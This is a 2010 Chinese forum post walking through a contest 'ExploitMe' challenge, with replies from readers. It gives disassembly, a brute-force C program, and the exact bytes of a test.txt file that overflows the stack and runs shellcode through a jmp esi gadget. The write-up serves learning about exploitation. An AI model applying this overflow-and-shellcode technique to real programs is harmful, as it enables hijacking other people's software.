吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 9501|回复: 22
收起左侧

[原创] 某比赛的一个题目分析

[复制链接]
missviola 发表于 2010-10-5 12:10
本帖最后由 missviola 于 2010-10-5 12:11 编辑

【文章标题】: 某比赛的一个题目分析
【文章作者】: missviola[LCG]
【下载地址】: 附件中有
【使用工具】: OD WinHex VC
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
  这几天在做某个比赛的试题,偶有心得,不敢共享,写出来和大家分享分享.
  打开题目,只有一个按钮,点击之后提示Failed.试题的要求是通过溢出,将跳出对话框的内容和标题变为OK!.那我们首先用
  PEID查下壳吧,显示为Nothing found * ,看看区段,应该没有加壳- -|||.算了,直接用OD载入,查找下字符串看看能不能找
  到入手点吧.很幸运看到了这里:

  Ultra String Reference, 条目 2
   Address=0040038B
   Disassembly=push    00400260
   Text String=failed!

  双击过去在段首下一个断点,运行程序,点击后断下,开始分析:

  004002F6  /$  55            push    ebp
  004002F7  |.  8BEC          mov     ebp, esp
  004002F9  |.  83EC 10       sub     esp, 10
  004002FC  |.  56            push    esi
  004002FD  |.  57            push    edi
  004002FE  |.  33FF          xor     edi, edi
  00400300  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]
  00400303  |.  33F6          xor     esi, esi
  00400305  |.  897D FC       mov     dword ptr [ebp-4], edi
  00400308  |.  897D F8       mov     dword ptr [ebp-8], edi
  0040030B  |.  E8 60010000   call    00400470
  00400310  |.  68 6C024000   push    0040026C                         ;  test.txt
  00400315  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]
  00400318  |.  E8 63010000   call    00400480                         ;  打开文件
  0040031D  |.  85C0          test    eax, eax
  0040031F  |.  74 64         je      short 00400385
  00400321  |.  8D45 FC       lea     eax, dword ptr [ebp-4]
  00400324  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]
  00400327  |.  50            push    eax
  00400328  |.  E8 D3010000   call    00400500
  0040032D  |.  85C0          test    eax, eax
  0040032F  |.  74 54         je      short 00400385
  00400331  |.  8B4D FC       mov     ecx, dword ptr [ebp-4]
  00400334  |.  83F9 08       cmp     ecx, 8
  00400337  |.  7E 4C         jle     short 00400385                   ;  文件长度要大于8
  00400339  |.  B8 00100000   mov     eax, 1000
  0040033E  |.  3BC8          cmp     ecx, eax
  00400340  |.  7F 43         jg      short 00400385                   ;  文件长度要小于1000
  00400342  |.  6A 40         push    40                               ; /Protect = PAGE_EXECUTE_READWRITE
  00400344  |.  41            inc     ecx                              ; |
  00400345  |.  50            push    eax                              ; |AllocationType => MEM_COMMIT
  00400346  |.  51            push    ecx                              ; |Size
  00400347  |.  57            push    edi                              ; |Address
  00400348  |.  FF15 24024000 call    dword ptr [<&KERNEL32.VirtualAll>; \VirtualAlloc
  0040034E  |.  8BF0          mov     esi, eax
  00400350  |.  3BF7          cmp     esi, edi
  00400352  |.  74 31         je      short 00400385
  00400354  |.  8D45 F8       lea     eax, dword ptr [ebp-8]
  00400357  |.  53            push    ebx
  00400358  |.  50            push    eax
  00400359  |.  56            push    esi
  0040035A  |.  FF75 FC       push    dword ptr [ebp-4]
  0040035D  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]
  00400360  |.  E8 AB010000   call    00400510
  00400365  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]
  00400368  |.  8BD8          mov     ebx, eax
  0040036A  |.  E8 61010000   call    004004D0
  0040036F  |.  3BDF          cmp     ebx, edi
  00400371  |.  5B            pop     ebx
  00400372  |.  74 11         je      short 00400385
  00400374  |.  8B45 FC       mov     eax, dword ptr [ebp-4]
  00400377  |.  3945 F8       cmp     dword ptr [ebp-8], eax
  0040037A  |.  75 09         jnz     short 00400385
  0040037C  |.  50            push    eax
  0040037D  |.  56            push    esi
  0040037E  |.  E8 FDFEFFFF   call    00400280                         ;  关键算法CALL
  00400383  |.  59            pop     ecx
  00400384  |.  59            pop     ecx
  00400385  |>  57            push    edi                              ; /Style
  00400386  |.  68 68024000   push    00400268                         ; |try
  0040038B  |.  68 60024000   push    00400260                         ; |failed!
  00400390  |.  57            push    edi                              ; |hOwner
  00400391  |.  FF15 4C024000 call    dword ptr [<&USER32.MessageBoxA>>; \MessageBoxA

  初步分析程序打开了一个名字为test.txt的文件,然后文件的长度有一些要求.0040037E这里的是关键call,我们构造一个
  txt文件然后F7单步进去继续分析 - -||| :

  00400280  /$  55            push    ebp
  00400281  |.  8BEC          mov     ebp, esp
  00400283  |.  83EC 2C       sub     esp, 2C                                   ;  开辟堆栈大小为0x2C
  00400286  |.  8065 D4 00    and     byte ptr [ebp-2C], 0
  0040028A  |.  56            push    esi
  0040028B  |.  57            push    edi
  0040028C  |.  6A 0A         push    0A
  0040028E  |.  59            pop     ecx
  0040028F  |.  33C0          xor     eax, eax
  00400291  |.  8D7D D5       lea     edi, dword ptr [ebp-2B]
  00400294  |.  837D 0C 00    cmp     dword ptr [ebp+C], 0
  00400298  |.  F3:AB         rep     stos dword ptr es:[edi]
  0040029A  |.  66:AB         stos    word ptr es:[edi]
  0040029C  |.  AA            stos    byte ptr es:[edi]
  0040029D  |.  7C 51         jl      short 004002F0
  0040029F  |.  8B75 08       mov     esi, dword ptr [ebp+8]
  004002A2  |.  68 A802CC78   push    78CC02A8
  004002A7  |.  68 1B8F9469   push    69948F1B
  004002AC  |.  FF76 04       push    dword ptr [esi+4]
  004002AF  |.  FF36          push    dword ptr [esi]
  004002B1  |.  E8 0A030000   call    004005C0                                  ;  进行64位乘法,同0x78CC02A869948F1B相乘
  004002B6  |.  68 82FFE65B   push    5BE6FF82
  004002BB  |.  68 854716A5   push    A5164785
  004002C0  |.  52            push    edx
  004002C1  |.  50            push    eax
  004002C2  |.  E8 79020000   call    00400540                                  ;  进行取模运算,同0x58E6FF82A5164785取模
  004002C7  |.  6A 04         push    4
  004002C9  |.  8BCE          mov     ecx, esi
  004002CB  |.  5F            pop     edi
  004002CC  |>  8031 1C       /xor     byte ptr [ecx], 1C
  004002CF  |.  8A11          |mov     dl, byte ptr [ecx]
  004002D1  |.  3051 01       |xor     byte ptr [ecx+1], dl
  004002D4  |.  41            |inc     ecx
  004002D5  |.  41            |inc     ecx
  004002D6  |.  4F            |dec     edi
  004002D7  |.^ 75 F3         \jnz     short 004002CC                           ;这里的循环又会对前八位byte进行变换
  004002D9  |.  6A 1A         push    1A
  004002DB  |.  59            pop     ecx
  004002DC      2BC8          sub     ecx, eax                                  ;  0x1A - eax
  004002DE  |.  0FAFC8        imul    ecx, eax                                  ;  ecx * eax
  004002E1  |.  81E9 9C000000 sub     ecx, 9C                                   ;  ecx - 9C
  004002E7  |.  85C9          test    ecx, ecx
  004002E9  |.  7E 05         jle     short 004002F0
  004002EB  |.  8D7D D4       lea     edi, dword ptr [ebp-2C]
  004002EE  |.  F3:A5         rep     movs dword ptr es:[edi], dword ptr [esi]  ;  溢出点
  004002F0  |>  5F            pop     edi
  004002F1  |.  33C0          xor     eax, eax
  004002F3  |.  5E            pop     esi
  004002F4  |.  C9            leave
  004002F5  \.  C3            retn

  004002EE这里就是溢出点了,观察下堆栈发现我们需要进行0xD次操作可以覆盖掉返回地址,也就是说此时ecx要等于0x0D,
  而ecx的值又是由eax来决定的.我们往上拉,发现之前程序读取了test.txt的前八个字节,进行了两次64位的运算,结果就
  存放在eax中.那我们就写一个小程序来穷举一下吧:

  #include<iostream.h>
  #include <stdio.h>

  unsigned int _stdcall l(unsigned int i);
  void main()
  {
    unsigned int value=0;
    unsigned int i = 0;
    while(1)
    {
      value=l(i);
      if(value==0xA5164792 || value==0x4A2C8F17|| value==0x0000000D)
      {
        printf("The result is:%08X\n",i);
      }
  
        i++;
  
       if(i == 0xFFFFFFFF)
  
       break;
    }
    printf("Mission Complete!\n");
    getchar();
    return;
  }
  unsigned int _stdcall l(unsigned int i)
  {
    return 0x69948F1B*i;
  }

  穷举的结果一共有3个:0x3D6365D6,0x8AD397F7,0xEFF333B5.最后一个结果可以使溢出文件最小,我们就选择最后一组吧.
  我们发现在关键call返回的时候,esi的内容指向之前virtualalloc函数分配的内存空间地址的首部,所以我们可以在程序
  中寻找看看有没有jmp esi这样的语句,这样关键call返回后又会跳到我们临时分配的临时空间执行代码,如果这里我们跟上
  我们的shellcode的话,那岂不是,嘿嘿嘿... - -||||

  004002B8  |?  FFE6          jmp     esi

  所以我们可以把返回地址溢出为004002B8,到这里我们修改下test.txt文件的内容吧:

  B5 33 F3 EF 00 8C 00 8C 00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  B8 02 40 00

  这里的8C经过变换之后会变成90,也就是nop指令啦~

  01B60000    A9 9AEF001C     test    eax, 1C00EF9A
  01B60005    90              nop
  01B60006    1C 90           sbb     al, 90

  到这里都是符合我们要求的,下面我们就可以写溢出代码了,注意这里要平衡下ebp,不然溢出后会崩溃:

  01C10000    A9 9AEF001C     test    eax, 1C00EF9A
  01C10005    90              nop
  01C10006    1C 90           sbb     al, 90
  01C10008    C705 60024000 4>mov     dword ptr [400260], 214B4F
  01C10012    C705 68024000 4>mov     dword ptr [400268], 214B4F
  01C1001C    8D6C24 20       lea     ebp, dword ptr [esp+20]        ;平衡ebp
  01C10020    FF66 23         jmp     dword ptr [esi+23]

  最终修改的test.txt内容如下:

  B5 33 F3 EF 00 8C 00 8C C7 05 60 02 40 00 4F 4B
  21 00 C7 05 68 02 40 00 4F 4B 21 00 8D 6C 24 20
  FF 66 23 83 03 40 00 00 00 00 00 00 00 00 00 00
  B8 02 40

  好了,最后到了我们享受成果的时候了,将test.txt文件同程序放在同一目录下,点击按钮,成功溢出了程序!!!

--------------------------------------------------------------------------------
【经验总结】
  这个题目出得非常的精彩,溢出的条件要解一个64位的方程,解出来的解又要能作为opcode执行.大家有条件的话,最好动手
  操作一下,可以从中学到很多东西.

--------------------------------------------------------------------------------
【版权声明】: 本文原创于52pojie技术论坛, 转载请注明作者并保持文章的完整, 谢谢!

                                                       2010年10月05日 12:07:53
ExploitMe.rar (1.49 KB, 下载次数: 13)

免费评分

参与人数 2热心值 +2 收起 理由
xiaobai + 1 支持楼主继续发好文,一起学习
小糊涂虫 + 1 精品文章!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

876571657 发表于 2010-10-5 12:16
前排留名····嘿嘿  学习下···
头像被屏蔽
qq526033781 发表于 2010-10-5 12:30
先收藏了,因水平原因,尚不敢随意阅读,唯恐窥得天机,致走火入魔
lionshine 发表于 2010-10-5 13:02
cv900302 发表于 2010-10-5 15:36
有点难,不过还是看看
小糊涂虫 发表于 2010-10-5 17:10
我是来学习的。。。。
261044691 发表于 2010-10-5 17:14
大牛的东西 小弟玩不懂
xiaobai 发表于 2010-10-5 17:37
有几个地方需要调试才能明白
value==0xA5164792 || value==0x4A2C8F17 怎么来的?
这里的8C经过变换之后会变成90,变换在哪里,进行什么变换?文章没有说明,也需要调试
需要调试配合文章看
duoluo211 发表于 2010-10-5 17:38
学习下!
ljx198882 发表于 2010-10-5 17:50
学习下 谢谢诶
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-17 08:51

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表